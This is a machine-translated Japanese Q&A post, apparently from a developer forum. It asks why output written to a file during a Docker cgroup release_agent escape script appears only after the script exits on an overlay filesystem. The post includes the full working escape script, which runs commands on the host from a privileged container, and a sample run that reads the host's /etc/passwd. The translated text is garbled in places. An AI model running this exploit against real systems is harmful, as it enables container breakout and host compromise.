上書きされたファイルシステムでシェルスクリプトの実行中に変更されたファイルは、シェルスクリプトが終了するまで表示されませんか?

上書きされたファイルシステムでシェルスクリプトの実行中に変更されたファイルは、シェルスクリプトが終了するまで表示されませんか?

私は、コンテナからホストへのエスケープに悪用される方法docker run ...など、Dockerのオプションのいくつかを試してきました。--privileged

次のスクリプトは、cgroup_escape.shYieldがコンテナがcgroupを変更し、cgroup機能を使用してホストでコマンドを実行できるようにするという事実を乱用します(参照:--privilegedcap_sys_adminrelease_agent使用法)。

これ質問内部で呼び出すと、cat /oスクリプトが存在する前にcgroup_escape.shファイルサイズが0バイト(変更結果なし)であったため、出力は表示されません。スクリプトが存在すると、コンテンツは正常に表示されます。/osleep 10cat /o/o

Dockerコンテナのルートファイルシステムの種類は次のとおりですoverlay

overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/O2KKX7BVYQPVTDYSEHBQGQFRHH:/var/lib/docker/overlay2/l/RGMSFCJWYRAJ3ZUF43IBFJ7UPZ,upperdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/diff,workdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/work)

/oシェルスクリプトの実行時にファイルの変更を適用する方法はありますか?

注:この問題は種類のあるファイルシステムによって発生しますかoverlay

cgroup_escape.sh:

#!/usr/bin/env bash

d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
touch /o
echo $t/c > $d/release_agent
echo -e "#!/bin/sh\n$1 > $t/o" > /c
chmod +x /c
echo 0 > $d/w/cgroup.procs
sleep 1
cat /o

使用法:

docker run --privileged -ti --rm --mount type=bind,src=$(pwd),dst=/host,readonly debian:latest

root@bfbd3ddb2f2b:/# /host/cgroup_escape.sh "cat /etc/passwd"
root@bfbd3ddb2f2b:/# cat /o
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

関連情報